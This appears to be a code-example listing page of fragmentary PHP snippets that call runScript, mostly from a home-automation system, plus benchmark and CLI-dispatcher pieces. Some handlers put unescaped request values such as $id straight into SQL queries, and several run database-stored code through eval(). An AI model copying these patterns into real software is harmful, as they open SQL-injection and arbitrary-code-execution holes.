             $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
             if ($item['ID']) {
                 $res = array();
                 $res['DATA'] = $item['CUR_VALUE'];
                 echo json_encode($res);
             }
             endMeasure('getValue', 1);
             exit;
         }
         if ($op == 'value_changed') {
             global $new_value;
             $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
             if ($item['ID']) {
                 $item['CUR_VALUE'] = $new_value;
                 SQLUpdate('commands', $item);
                 if ($item['LINKED_PROPERTY'] != '') {
                     $old_value = gg($item['LINKED_OBJECT'] . '.' . $item['LINKED_PROPERTY']);
                     sg($item['LINKED_OBJECT'] . '.' . $item['LINKED_PROPERTY'], $item['CUR_VALUE'], array('commands' => 'ID!=' . $item['ID']));
                     //DebMes("setting property ".$item['LINKED_OBJECT'].".".$item['LINKED_PROPERTY']." to ".$item['CUR_VALUE']);
                 }
                 $params = array('VALUE' => $item['CUR_VALUE']);
                 if (isset($old_value)) {
                     $params['OLD_VALUE'] = $old_value;
                 }
                 if ($item['ONCHANGE_METHOD'] != '') {
                     getObject($item['ONCHANGE_OBJECT'])->callMethod($item['ONCHANGE_METHOD'], $params);
                     //DebMes("calling method ".$item['ONCHANGE_OBJECT'].".".$item['ONCHANGE_METHOD']." with ".$item['CUR_VALUE']);
                 }
                 if ($item['SCRIPT_ID']) {
                     //DebMes('Running on_change script #'.$item['SCRIPT_ID']);
                     runScript($item['SCRIPT_ID'], $params);
                 }
                 if ($item['CODE']) {
                     //DebMes("Running on_change code");
                     try {
                         $code = $item['CODE'];
                         $success = eval($code);
                         if ($success === false) {
                             DebMes("Error menu item code: " . $code);
                         }
                     } catch (Exception $e) {
                         DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                     }
                 }
             }
             echo "OK";
         }
         exit;
     }
     if (isset($this->data_source) && !$_GET['data_source'] && !$_POST['data_source']) {
         $out['SET_DATASOURCE'] = 1;
     }
     if ($this->data_source == 'commands' || $this->data_source == '') {
         if ($this->view_mode == '' || $this->view_mode == 'search_commands') {
             startMeasure('searchCommands');
             $this->search_commands($out);
             endMeasure('searchCommands', 1);
         }
         if ($this->view_mode == 'edit_commands') {
             $this->edit_commands($out, $this->id);
         }
         if ($this->view_mode == 'clone_commands') {
             $rec = SQLSelectOne("SELECT * FROM commands WHERE ID='" . $this->id . "'");
             unset($rec['ID']);
             $rec['TITLE'] = $rec['TITLE'] . ' (copy)';
             $rec['ID'] = SQLInsert('commands', $rec);
             $this->redirect("?id=" . $rec['ID'] . "&view_mode=edit_commands");
         }
         if ($this->view_mode == 'delete_commands') {
             $this->delete_commands($this->id);
             $this->redirect("?");
         }
     }
 }
Esempio n. 15
0
/**
* BackEnd
*
* Module backend
*
* @access public
*/
function admin(&$out) {

 global $ajax;
 if ($ajax) {

  global $op;
  global $item_id;


  if ($op=='get_label') {
   $item=SQLSelectOne("SELECT * FROM commands WHERE ID='".(int)$item_id."'");
   if ($item['ID']) {
    if ($item['TYPE']=='custom') {
     echo processTitle($item['DATA'], $this);
    } else {
     echo processTitle($item['TITLE'], $this);
    }
    exit;
   }
  }

  if ($op=='get_value') {
   $item=SQLSelectOne("SELECT * FROM commands WHERE ID='".(int)$item_id."'");
   if ($item['ID']) {
    echo $item['CUR_VALUE'];
    exit;
   }
  }


  if ($op=='value_changed') {
   global $new_value;
   $item=SQLSelectOne("SELECT * FROM commands WHERE ID='".(int)$item_id."'");
   if ($item['ID']) {
    $item['CUR_VALUE']=$new_value;
    SQLUpdate('commands', $item);
    if ($item['LINKED_PROPERTY']!='') {
     $old_value=gg($item['LINKED_OBJECT'].'.'.$item['LINKED_PROPERTY']);
     sg($item['LINKED_OBJECT'].'.'.$item['LINKED_PROPERTY'], $item['CUR_VALUE'], 1);
     //DebMes("setting property ".$item['LINKED_OBJECT'].".".$item['LINKED_PROPERTY']." to ".$item['CUR_VALUE']);
    }

    $params=array('VALUE'=>$item['CUR_VALUE']);
    if (isSet($old_value)) {
     $params['OLD_VALUE']=$old_value;
    }

    if ($item['ONCHANGE_METHOD']!='') {
     getObject($item['ONCHANGE_OBJECT'])->callMethod($item['ONCHANGE_METHOD'], $params);
     //DebMes("calling method ".$item['ONCHANGE_OBJECT'].".".$item['ONCHANGE_METHOD']." with ".$item['CUR_VALUE']);
    }

    if ($item['SCRIPT_ID']) {
     //DebMes('Running on_change script #'.$item['SCRIPT_ID']);
     runScript($item['SCRIPT_ID'], $params);
    }
    if ($item['CODE']) {
     //DebMes("Running on_change code");
     eval($item['CODE']);
    }

   }
   echo "OK";exit;
  }

 }



 if (isset($this->data_source) && !$_GET['data_source'] && !$_POST['data_source']) {
  $out['SET_DATASOURCE']=1;
 }
 if ($this->data_source=='commands' || $this->data_source=='') {
  if ($this->view_mode=='' || $this->view_mode=='search_commands') {
   $this->search_commands($out);
  }
  if ($this->view_mode=='edit_commands') {
   $this->edit_commands($out, $this->id);
  }
  if ($this->view_mode=='delete_commands') {
   $this->delete_commands($this->id);
   $this->redirect("?");
  }
 }
}
Esempio n. 16
0
function callScript($id, $params = '')
{
    runScript($id, $params);
}
Esempio n. 17
0
/**
* FrontEnd
*
* Module frontend
*
* @access public
*/
function usual(&$out) {

 global $ajax;
 if ($ajax) {
    global $op;
    header ("HTTP/1.0: 200 OK\n");
    header ('Content-Type: text/html; charset=utf-8');
    if ($op=='checkAllStates') {
     $states=SQLSelect("SELECT elm_states.ID, elm_states.TITLE, elm_states.HTML, elements.SCENE_ID, elm_states.SWITCH_SCENE, elements.TYPE FROM elm_states, elements WHERE elm_states.ELEMENT_ID=elements.ID");
     $total=count($states);
     for($i=0;$i<$total;$i++) {
      $states[$i]['STATE']=$this->checkState($states[$i]['ID']);
      if ($states[$i]['TYPE']=='html') {
       $states[$i]['HTML']=processTitle($states[$i]['HTML'], $this);
      }
     }
     echo json_encode($states);
    }
    if ($op=='click') {
     global $id;
     $state=SQLSelectOne("SELECT * FROM elm_states WHERE ID='".$id."'");
     if ($state['SCRIPT_ID']) {
      $params=array('STATE'=>$state['TITLE']);
      runScript($state['SCRIPT_ID'], $params);
      echo "OK";
     }
    }
    exit;
 }

 $this->admin($out);
}
Esempio n. 18
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function task_done($id)
 {
     //DebMes("Task $id is DONE! Congratulations!!!");
     $rec = SQLSelectOne("SELECT * FROM calendar_events WHERE ID='" . (int) $id . "'");
     $rec['DONE_WHEN'] = date('Y-m-d H:i:s');
     $rec['IS_DONE'] = 1;
     $tmp = explode('-', $rec['DUE']);
     $due_time = mktime(1, 1, 1, $tmp[1], $tmp[2], $tmp[0]);
     if ($rec['IS_REPEATING']) {
         $rec['IS_DONE'] = 0;
         if ($rec['REPEAT_TYPE'] == 1) {
             // yearly task
             $due_time_next_year = mktime(1, 1, 1, $tmp[1], $tmp[2], $tmp[0] + 1);
             $rec['DUE'] = date('Y-m-d', $due_time_next_year);
         } elseif ($rec['REPEAT_TYPE'] == 2) {
             // monthly task
             $time_next_month = $due_time + 31 * 24 * 60 * 60;
             $due_time_next_month = mktime(1, 1, 1, date('m', $time_next_month), $tmp[2], date('Y', $time_next_month));
         } elseif ($rec['REPEAT_TYPE'] == 3) {
             // weekly task
             $due_time_next_week = $due_time + 7 * 24 * 60 * 60;
             $rec['DUE'] = date('Y-m-d', $due_time_next_week);
         } elseif ($rec['REPEAT_TYPE'] == 9) {
             // custom repeat task
             if ($rec['IS_REPEATING_AFTER']) {
                 $rec['DUE'] = date('Y-m-d', time() + $rec['REPEAT_IN'] * 24 * 60 * 60);
             } else {
                 $rec['DUE'] = date('Y-m-d', $due_time + $rec['REPEAT_IN'] * 24 * 60 * 60);
             }
         }
     }
     $rec['LOG'] = date('Y-m-d H:i:s') . ' Task marked DONE' . "\n" . $rec['LOG'];
     SQLUpdate('calendar_events', $rec);
     if ($rec['DONE_SCRIPT_ID']) {
         runScript($rec['DONE_SCRIPT_ID'], $rec);
     }
 }
Esempio n. 19
0
 /**
 * FrontEnd
 *
 * Module frontend
 *
 * @access public
 */
 function usual(&$out)
 {
     global $ajax;
     if ($ajax) {
         global $op;
         header("HTTP/1.0: 200 OK\n");
         header('Content-Type: text/html; charset=utf-8');
         if ($op == 'checkAllStates') {
             global $scene_id;
             $qry = "1";
             if (preg_match('/(\\d+)\\.html/', $_SERVER["REQUEST_URI"], $m)) {
                 $qry .= " AND scenes.ID='" . (int) $m[1] . "'";
             } elseif ($scene_id) {
                 $qry .= " AND scenes.ID='" . (int) $scene_id . "'";
             } else {
                 $qry .= " AND scenes.HIDDEN!=1";
             }
             foreach ($_GET as $k => $v) {
                 $this->data[$k] = $v;
             }
             $states = SQLSelect("SELECT elm_states.ID, elm_states.TITLE, elm_states.HTML, elements.SCENE_ID, elm_states.SWITCH_SCENE, elements.TYPE FROM elm_states, elements, scenes WHERE elements.SCENE_ID=scenes.ID AND elm_states.ELEMENT_ID=elements.ID AND {$qry} ORDER BY elements.PRIORITY DESC, elm_states.PRIORITY DESC");
             $total = count($states);
             for ($i = 0; $i < $total; $i++) {
                 $states[$i]['STATE'] = $this->checkState($states[$i]['ID']);
                 if ($states[$i]['HTML'] != '') {
                     if (preg_match('/\\[#modul/is', $states[$i]['HTML'])) {
                         //$states[$i]['HTML']=str_replace('#', '', $states[$i]['HTML']);
                         unset($states[$i]['HTML']);
                     } else {
                         $states[$i]['HTML'] = processTitle($states[$i]['HTML'], $this);
                     }
                 }
                 if ($states[$i]['TYPE'] == 'img') {
                     unset($states[$i]['HTML']);
                 }
             }
             echo json_encode($states);
         }
         if ($op == 'click') {
             global $id;
             $state = SQLSelectOne("SELECT * FROM elm_states WHERE ID='" . $id . "'");
             $params = array('STATE' => $state['TITLE']);
             if ($state['ACTION_OBJECT'] && $state['ACTION_METHOD']) {
                 callMethod($state['ACTION_OBJECT'] . '.' . $state['ACTION_METHOD'], $params);
             }
             if ($state['SCRIPT_ID']) {
                 runScript($state['SCRIPT_ID'], $params);
             }
             if ($state['CODE']) {
                 try {
                     $code = $state['CODE'];
                     $success = eval($code);
                     if ($success === false) {
                         DebMes("Error scene item code: " . $code);
                         registerError('scenes', "Error scene item code: " . $code);
                     }
                 } catch (Exception $e) {
                     DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                     registerError('scenes', get_class($e) . ', ' . $e->getMessage());
                 }
             }
             $qry = "1";
             $qry .= " AND elements.ID=" . $state['ELEMENT_ID'];
             $states = SQLSelect("SELECT elm_states.ID, elm_states.TITLE, elm_states.HTML, elements.SCENE_ID, elm_states.SWITCH_SCENE, elements.TYPE FROM elm_states, elements, scenes WHERE elements.SCENE_ID=scenes.ID AND elm_states.ELEMENT_ID=elements.ID AND {$qry} ORDER BY elements.PRIORITY DESC, elm_states.PRIORITY DESC");
             $total = count($states);
             for ($i = 0; $i < $total; $i++) {
                 $states[$i]['STATE'] = $this->checkState($states[$i]['ID']);
                 if ($states[$i]['HTML'] != '') {
                     $states[$i]['HTML'] = processTitle($states[$i]['HTML'], $this);
                 }
                 if ($states[$i]['TYPE'] == 'img') {
                     unset($states[$i]['HTML']);
                 }
             }
             echo json_encode($states);
         }
         if ($op == 'position') {
             global $id;
             global $posx;
             global $posy;
             global $width;
             global $height;
             if ($id && $posx && $posy && $width && $height) {
                 $state = SQLSelectOne("SELECT * FROM elm_states WHERE ID='" . $id . "'");
                 $state['WINDOW_POSX'] = $posx;
                 $state['WINDOW_POSY'] = $posy;
                 $state['WINDOW_WIDTH'] = $width;
                 $state['WINDOW_HEIGHT'] = $height;
                 SQLUpdate('elm_states', $state);
             }
             //
             echo "OK";
         }
         exit;
     }
     $this->admin($out);
     $out['ALL_TYPES'] = $this->getAllTypes();
 }
foreach ($objects as $object) {
    $html .= '<th>' . $object * 10 . ' objects</th>';
}
$html .= '</thead>';
cliPrint('Starting benchmark');
foreach ($containers as $container) {
    cliPrint('Benchmarking container: ' . $container);
    $html .= '<tr>';
    $html .= '<td>' . $container . '</td>';
    foreach ($objects as $objectcount) {
        $results = [];
        for ($i = 0; $i < $runs; $i++) {
            cliPrint('Benchmarking container: ' . $container . ' with ' . $objectcount * 10 . ' objects run ' . $i . '/' . $runs);
            $t1 = microtime(true);
            for ($j = 0; $j < $iterations; $j++) {
                $output = runScript($container . '/test6a.php', $inis[$container], [$objectcount]);
            }
            $t2 = microtime(true);
            $test = json_decode($output[0]);
            if (!is_object($test)) {
                print_r($output);
            }
            $results[] = $t2 - $t1;
        }
        $result = average($results);
        $html .= '<td>' . ($result - $overhead) . '</td>';
    }
    $html .= '</tr>';
}
if (!$isCli) {
    echo $html;
Esempio n. 21
0
            //print_r($params);
            $obj->callMethod($m, $params);
        }
    } else {
        DebMes("object [" . $object . "] not found");
    }
} elseif ($job != '') {
    $job = SQLSelectOne("SELECT * FROM jobs WHERE ID='" . (int) $job . "'");
    if ($job['ID']) {
        try {
            $code = $job['COMMANDS'];
            $success = eval($code);
            if ($success === false) {
                DebMes("Error in scheduled job code: " . $code);
            }
        } catch (Exception $e) {
            DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
        }
        echo "OK";
    }
} elseif ($script != '') {
    echo "\nRunning script: " . $script;
    //DebMes("Running script: ".$script);
    runScript($script, $_GET);
}
$db->Disconnect();
// closing database connection
endMeasure('TOTAL');
// end calculation of execution time
//performanceReport(); // print performance report
// ob_end_flush();
Esempio n. 22
0
/**
* Title
*
* Description
*
* @access public
*/
 function checkAllVars($force=0) {

  // ping hosts
  if ($force) {
   $pings=SQLSelect("SELECT * FROM webvars WHERE 1");
  } else {
   $pings=SQLSelect("SELECT * FROM webvars WHERE CHECK_NEXT<=NOW()");
  }
  
  $total=count($pings);
  for($i=0;$i<$total;$i++) {
   $host=$pings[$i];
   if (!$force) {
    echo "Checking webvar: ".$host['HOSTNAME']."\n";
   }
   $online_interval=$host['ONLINE_INTERVAL'];
   if (!$online_interval) {
    $online_interval=60;
   }
   $host['CHECK_NEXT']=date('Y-m-d H:i:s', time()+$online_interval);
   SQLUpdate('webvars', $host);

   // checking

   //web host
   $old_status=$host['LATEST_VALUE'];
   if ($host['AUTH'] && $host['USERNAME']) {
    $content=getURL($host['HOSTNAME'], $host['ONLINE_INTERVAL'], $host['USERNAME'], $host['PASSWORD']);
   } else {
    $content=getURL($host['HOSTNAME'], $host['ONLINE_INTERVAL']);
   }
   
   if ($host['ENCODING']!='') {
    $content=iconv($host['ENCODING'], "UTF-8", $content);
   }

   $ok=1;
   $new_status='';
   if ($host['SEARCH_PATTERN']) {
    if (preg_match('/'.$host['SEARCH_PATTERN'].'/is', $content, $m)) {
     $new_status=$m[1];
    } else {
     $ok=0; // result did not matched
    }
   } else {
    $new_status=$content;
   }

   if ($host['CHECK_PATTERN'] && !preg_match('/'.$host['CHECK_PATTERN'].'/is', $new_status)) {
    $ok=0; // result did not pass the check
   }
   
   if (!$ok) {
    $host['LOG']=date('Y-m-d H:i:s').' incorrect value:'.$new_status."\n".$host['LOG'];
    SQLUpdate('webvars', $host);
    continue;
   }


   $host['CHECK_LATEST']=date('Y-m-d H:i:s');
   $host['CHECK_NEXT']=date('Y-m-d H:i:s', time()+$online_interval);

   if ($old_status!=$new_status) {
     $host['LOG']=date('Y-m-d H:i:s').' new value:'.$new_status."\n".$host['LOG'];
   }

   $host['LATEST_VALUE']=$new_status;
   SQLUpdate('webvars', $host);

   if ($host['LINKED_OBJECT']!='' && $host['LINKED_PROPERTY']!='') {
    getObject($host['LINKED_OBJECT'])->setProperty($host['LINKED_PROPERTY'], $new_status);
   }

   if ($old_status!=$new_status && $old_status!='') {
    // do some status change actions
    $run_script_id=0;
    $run_code='';
     // got online
     if ($host['SCRIPT_ID']) {
      $run_script_id=$host['SCRIPT_ID'];
     } elseif ($host['CODE']) {
      $run_code=$host['CODE'];
     }

    if ($run_script_id) {
     //run script
     runScript($run_script_id);
    } elseif ($run_code) {
     //run code
     eval($run_code);
    }

   }
   

  } 


 }
Esempio n. 23
0
 function updateDevice($id)
 {
     if (!defined('ONEWIRE_SERVER')) {
         return 0;
     }
     $rec = SQLSelectOne("SELECT * FROM owdevices WHERE ID='" . $id . "'");
     if (!$rec['ID']) {
         return 0;
     }
     $ow = new OWNet(ONEWIRE_SERVER);
     $device = '/' . $rec['UDID'];
     $rec['CHECK_LATEST'] = date('Y-m-d H:i:s');
     $rec['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + (int) $rec['ONLINE_INTERVAL']);
     $old_status = $rec['STATUS'];
     $tmp = $ow->get($device, OWNET_MSG_DIR, false);
     if (!$tmp) {
         $rec['STATUS'] = 0;
     } else {
         $rec['STATUS'] = 1;
     }
     SQLUpdate('owdevices', $rec);
     if ($rec['STATUS'] != $old_status && ($rec['SCRIPT_ID'] || $rec['CODE'])) {
         $params = array();
         $params['DEVICE'] = $device;
         $params['STATUS'] = $rec['STATUS'];
         $params['STATUS_CHANGED'] = 1;
         if ($rec['SCRIPT_ID']) {
             runScript($rec['SCRIPT_ID'], $params);
         } elseif ($rec['CODE']) {
             try {
                 $code = $rec['CODE'];
                 $success = eval($code);
                 if ($success === false) {
                     DebMes("Error in 1-wire action code: " . $code);
                 }
             } catch (Exception $e) {
                 DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
             }
         }
     }
     if (!$rec['STATUS']) {
         return 0;
     }
     $changed_values = array();
     $changed = 0;
     $properties = explode(',', $tmp);
     $totalp = count($properties);
     for ($ip = 0; $ip < $totalp; $ip++) {
         $sysname = str_replace($device . '/', '', $properties[$ip]);
         //echo $properties[$ip]." (".$sysname."): ";
         $prec = SQLSelectOne("SELECT * FROM owproperties WHERE DEVICE_ID='" . $rec['ID'] . "' AND SYSNAME='" . DBSafe($sysname) . "'");
         if (!$prec['ID']) {
             $prec['DEVICE_ID'] = $rec['ID'];
             $prec['SYSNAME'] = $sysname;
             $prec['PATH'] = $properties[$ip];
             $prec['ID'] = SQLInsert('owproperties', $prec);
         }
         $old_value = $prec['VALUE'];
         $value = $ow->get($properties[$ip], OWNET_MSG_READ, false);
         if (is_null($value)) {
             $ow->get("/", OWNET_MSG_DIR, false);
             // hack. for some reason it didn't work correct without it on some devices
             $value = $ow->get($properties[$ip], OWNET_MSG_READ, false);
         }
         if (!is_null($value)) {
             $value = iconv("CP1251", "UTF-8", $value);
             // value updated
             $prec['VALUE'] = $value;
             $prec['UPDATED'] = date('Y-m-d H:i:s');
             $prec['CHECK_LATEST'] = $prec['UPDATED'];
             SQLUpdate('owproperties', $prec);
             //$rec['LOG']=date('Y-m-d H:i:s')." ".$prec['SYSNAME'].": ".$prec['VALUE']."\n".$rec['LOG'];
             //SQLUpdate('owdevices', $rec);
             if ($prec['LINKED_OBJECT'] && $prec['LINKED_PROPERTY']) {
                 setGlobal($prec['LINKED_OBJECT'] . '.' . $prec['LINKED_PROPERTY'], $prec['VALUE'], array($this->name => '0'));
             }
             if ($old_value != $value) {
                 $changed = 1;
                 $changed_values[$prec['SYSNAME']] = array('OLD_VALUE' => $old_value, 'VALUE' => $prec['VALUE']);
             }
         }
     }
     if ($changed) {
         $params = $changed_values;
         $params['DEVICE'] = $device;
         if ($rec['SCRIPT_ID']) {
             runScript($rec['SCRIPT_ID'], $params);
         } elseif ($rec['CODE']) {
             try {
                 $code = $rec['CODE'];
                 $success = eval($code);
                 if ($success === false) {
                     DebMes("Error in code: " . $code);
                 }
             } catch (Exception $e) {
                 DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
             }
         }
     }
 }
Esempio n. 24
0
 function runPatternAction($id, $matches = array(), $original = '', $from_user_id)
 {
     $rec = SQLSelectOne("SELECT * FROM patterns WHERE ID='" . (int) $id . "'");
     global $noPatternMode;
     $noPatternMode = 1;
     if ($rec['SCRIPT_ID']) {
         runScript($rec['SCRIPT_ID'], $matches);
     } elseif ($rec['SCRIPT']) {
         try {
             $code = $rec['SCRIPT'];
             $success = eval($code);
             if ($success === false) {
                 DebMes("Error in pattern code: " . $code);
                 registerError('patterns', "Error in pattern code: " . $code);
             }
         } catch (Exception $e) {
             DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
             registerError('patterns', get_class($e) . ', ' . $e->getMessage());
         }
     }
     $noPatternMode = 0;
 }
Esempio n. 25
0
function rs($script_id, $params = 0)
{
    return runScript($script_id, $params);
}
for ($test = 1; $test <= $numTests; $test++) {
    $html .= '<h2>Test ' . $test . ' - ' . $testdescriptions[$test] . '</h2>';
    $html .= '<table data-graph-container-before="1" data-graph-type="column">';
    cliPrint('Starting test:' . $test);
    $containerInfo = [];
    $html .= '<thead><tr><th>Container</th><th>Time</th><th>Memory</th><th>Files</th></thead>';
    foreach ($containers as $container) {
        cliPrint('');
        cliPrint('Benchmarking container:' . $container);
        $memory = [];
        $time = [];
        $files = [];
        $output = [];
        for ($i = 0; $i < $runs; $i++) {
            cliPrint($container . ' test' . $test . ' : ' . ($i + 1) . '/' . $runs);
            $output = runScript('./' . $container . '/test' . $test . '.php', $inis[$container]);
            $result = json_decode($output[0]);
            if (!is_object($result)) {
                echo $container . $test . '<br />';
            }
            $time[] = $result->time;
            $memory[] = $result->memory;
            $files[] = $result->files;
        }
        $containerInfo[] = ['name' => $container, 'time' => average($time), 'memory' => average($memory), 'files' => average($files)];
    }
    //Sort the results by time
    usort($containerInfo, function ($a, $b) {
        if ($a['time'] == $b['time']) {
            return $a['memory'] < $b['memory'] ? -1 : 1;
        }
Esempio n. 27
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function callMethod($name, $params = 0, $parent = 0)
 {
     startMeasure('callMethod');
     $original_method_name = $this->object_title . '.' . $name;
     startMeasure('callMethod (' . $original_method_name . ')');
     if (!$parent) {
         $id = $this->getMethodByName($name, $this->class_id, $this->id);
     } else {
         $id = $this->getMethodByName($name, $this->class_id, 0);
     }
     if ($id) {
         $method = SQLSelectOne("SELECT * FROM methods WHERE ID='" . $id . "'");
         $method['EXECUTED'] = date('Y-m-d H:i:s');
         if (!$method['OBJECT_ID']) {
             if (!$params) {
                 $params = array();
             }
             $params['ORIGINAL_OBJECT_TITLE'] = $this->object_title;
         }
         if ($params) {
             $method['EXECUTED_PARAMS'] = serialize($params);
         }
         SQLUpdate('methods', $method);
         if ($method['OBJECT_ID'] && $method['CALL_PARENT'] == 1) {
             $this->callMethod($name, $params, 1);
         }
         if ($method['SCRIPT_ID']) {
             /*
              $script=SQLSelectOne("SELECT * FROM scripts WHERE ID='".$method['SCRIPT_ID']."'");
              $code=$script['CODE'];
             */
             runScript($method['SCRIPT_ID']);
         } else {
             $code = $method['CODE'];
         }
         if ($code != '') {
             /*
             if (defined('SETTINGS_DEBUG_HISTORY') && SETTINGS_DEBUG_HISTORY==1) {
              $class_object=SQLSelectOne("SELECT NOLOG FROM classes WHERE ID='".$this->class_id."'");
              if (!$class_object['NOLOG']) {
             
               $prevLog=SQLSelectOne("SELECT ID, UNIX_TIMESTAMP(ADDED) as UNX FROM history WHERE OBJECT_ID='".$this->id."' AND METHOD_ID='".$method['ID']."' ORDER BY ID DESC LIMIT 1");
               if ($prevLog['ID']) {
                $prevRun=$prevLog['UNX'];
                $prevRunPassed=time()-$prevLog['UNX'];
               }
             
               $h=array();
               $h['ADDED']=date('Y-m-d H:i:s');
               $h['OBJECT_ID']=$this->id;
               $h['METHOD_ID']=$method['ID'];
               $h['DETAILS']=serialize($params);
               if ($parent) {
                $h['DETAILS']='(parent method) '.$h['DETAILS'];
               }
               $h['DETAILS'].="\n".'code: '."\n".$code;
               SQLInsert('history', $h);
              }
             }
             */
             try {
                 $success = eval($code);
                 if ($success === false) {
                     getLogger($this)->error(sprintf('Error in "%s.%s" method. Code: %s', $this->object_title, $name, $code));
                 }
             } catch (Exception $e) {
                 getLogger($this)->error(sprintf('Exception in "%s.%s" method', $this->object_title, $name), $e);
             }
         }
         endMeasure('callMethod', 1);
         endMeasure('callMethod (' . $original_method_name . ')', 1);
         if ($method['OBJECT_ID'] && $method['CALL_PARENT'] == 2) {
             $this->callMethod($name, $params, 1);
         }
     } else {
         endMeasure('callMethod (' . $original_method_name . ')', 1);
         endMeasure('callMethod', 1);
         return false;
     }
 }
Esempio n. 28
0
        if (is_dir($S_dir . '/' . $S_entry)) {
            $A_commands = array_merge(scan4Scripts($S_dir . '/' . $S_entry), $A_commands);
        } else {
            foreach (array('.ponl.php', '.ponl') as $S_ext) {
                if (strrpos($S_entry, $S_ext) === strlen($S_entry) - strlen($S_ext)) {
                    $A_commands[substr($S_entry, 0, -strlen($S_ext))] = realpath($S_dir . '/' . $S_entry);
                    break;
                }
            }
        }
    }
    return $A_commands;
}
function runScript($S_file, $argv, $argc, $A_ponlCommands, $A_ponlCommandsBuiltIn, $A_ponlCommandsDeployed, $A_ponlCommandsScripts)
{
    require_once $S_file;
}
// No command given
if ($argc < 2) {
    print "PONL: No command specified. Type 'ponl help' for details.";
} else {
    $A_commands = scan4scripts(dirname(__FILE__) . '/built-in', dirname(__FILE__) . '/deployed', dirname(__FILE__) . '/scripts');
    if (in_array($argv[1], array_keys($A_commands))) {
        $A_commandArgs = $argv;
        array_shift($A_commandArgs);
        $A_commandArgs[0] = $A_commands[$argv[1]];
        runScript($A_commands[$argv[1]], $A_commandArgs, count($A_commandArgs), $A_commands, scan4scripts(dirname(__FILE__) . '/built-in'), scan4scripts(dirname(__FILE__) . '/deployed'), scan4scripts(dirname(__FILE__) . '/scripts'));
    } else {
        die("PONL: Command not found. Type 'ponl help' for a list of all available commands.");
    }
}
Esempio n. 29
0
 /**
 * BackEnd
 *
 * Module backend
 *
 * @access public
 */
 function admin(&$out)
 {
     global $ajax;
     if ($ajax) {
         global $op;
         global $item_id;
         if ($op == 'get_details') {
             startMeasure('getDetails');
             global $labels;
             global $values;
             $res = array();
             //echo "Debug labels: $labels \nValues: $values\n";
             $res['LABELS'] = array();
             $labels = explode(',', $labels);
             $total = count($labels);
             $seen = array();
             for ($i = 0; $i < $total; $i++) {
                 $item_id = trim($labels[$i]);
                 if (!$item_id || $seen[$item_id]) {
                     continue;
                 }
                 $seen[$item_id] = 1;
                 $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
                 if ($item['ID']) {
                     if ($item['TYPE'] == 'custom') {
                         $item['DATA'] = processTitle($item['DATA'], $this);
                         $data = $item['DATA'];
                     } else {
                         $item['TITLE'] = processTitle($item['TITLE'], $this);
                         $data = $item['TITLE'];
                     }
                     if ($item['RENDER_DATA'] != $item['DATA'] || $item['RENDER_TITLE'] != $item['TITLE']) {
                         $tmp = SQLSelectOne("SELECT * FROM commands WHERE ID='" . $item['ID'] . "'");
                         $tmp['RENDER_TITLE'] = $item['TITLE'];
                         $tmp['RENDER_DATA'] = $item['DATA'];
                         $tmp['RENDER_UPDATED'] = date('Y-m-d H:i:s');
                         SQLUpdate('commands', $tmp);
                     }
                     if (preg_match('/#[\\w\\d]{6}/is', $data, $m)) {
                         $color = $m[0];
                         $data = trim(str_replace($m[0], '<style>#item' . $item['ID'] . ' .ui-btn-active {background-color:' . $color . ';border-color:' . $color . '}</style>', $data));
                     }
                     $res['LABELS'][] = array('ID' => $item['ID'], 'DATA' => $data);
                 }
             }
             $res['VALUES'] = array();
             $values = explode(',', $values);
             $total = count($values);
             $seen = array();
             for ($i = 0; $i < $total; $i++) {
                 $item_id = trim($values[$i]);
                 if (!$item_id || $seen[$item_id]) {
                     continue;
                 }
                 $seen[$item_id] = 1;
                 $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
                 if ($item['ID']) {
                     $data = $item['CUR_VALUE'];
                     $res['VALUES'][] = array('ID' => $item['ID'], 'DATA' => $data);
                 }
             }
             $res['LATEST_REQUEST'] = time();
             echo json_encode($res);
             endMeasure('getDetails');
             exit;
         }
         if ($op == 'get_label') {
             startMeasure('getLabel');
             $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
             startMeasure('getLabel ' . $item['TITLE'], 1);
             if ($item['ID']) {
                 $res = array();
                 if ($item['TYPE'] == 'custom') {
                     $item['DATA'] = processTitle($item['DATA'], $this);
                     $res['DATA'] = $item['DATA'];
                 } else {
                     $item['TITLE'] = processTitle($item['TITLE'], $this);
                     $res['DATA'] = $item['TITLE'];
                 }
                 if ($item['RENDER_DATA'] != $item['DATA'] || $item['RENDER_TITLE'] != $item['TITLE']) {
                     $tmp = SQLSelectOne("SELECT * FROM commands WHERE ID='" . $item['ID'] . "'");
                     $tmp['RENDER_TITLE'] = $item['TITLE'];
                     $tmp['RENDER_DATA'] = $item['DATA'];
                     $tmp['RENDER_UPDATED'] = date('Y-m-d H:i:s');
                     SQLUpdate('commands', $tmp);
                 }
                 echo json_encode($res);
             }
             endMeasure('getLabel ' . $item['TITLE'], 1);
             endMeasure('getLabel', 1);
             exit;
         }
         if ($op == 'get_value') {
             startMeasure('getValue');
             $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
             if ($item['ID']) {
                 $res = array();
                 $res['DATA'] = $item['CUR_VALUE'];
                 echo json_encode($res);
             }
             endMeasure('getValue', 1);
             exit;
         }
         if ($op == 'value_changed') {
             global $new_value;
             $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
             if ($item['ID']) {
                 $old_value = $item['CUR_VALUE'];
                 $item['CUR_VALUE'] = $new_value;
                 SQLUpdate('commands', $item);
                 if ($item['LINKED_PROPERTY'] != '') {
                     //$old_value=gg($item['LINKED_OBJECT'].'.'.$item['LINKED_PROPERTY']);
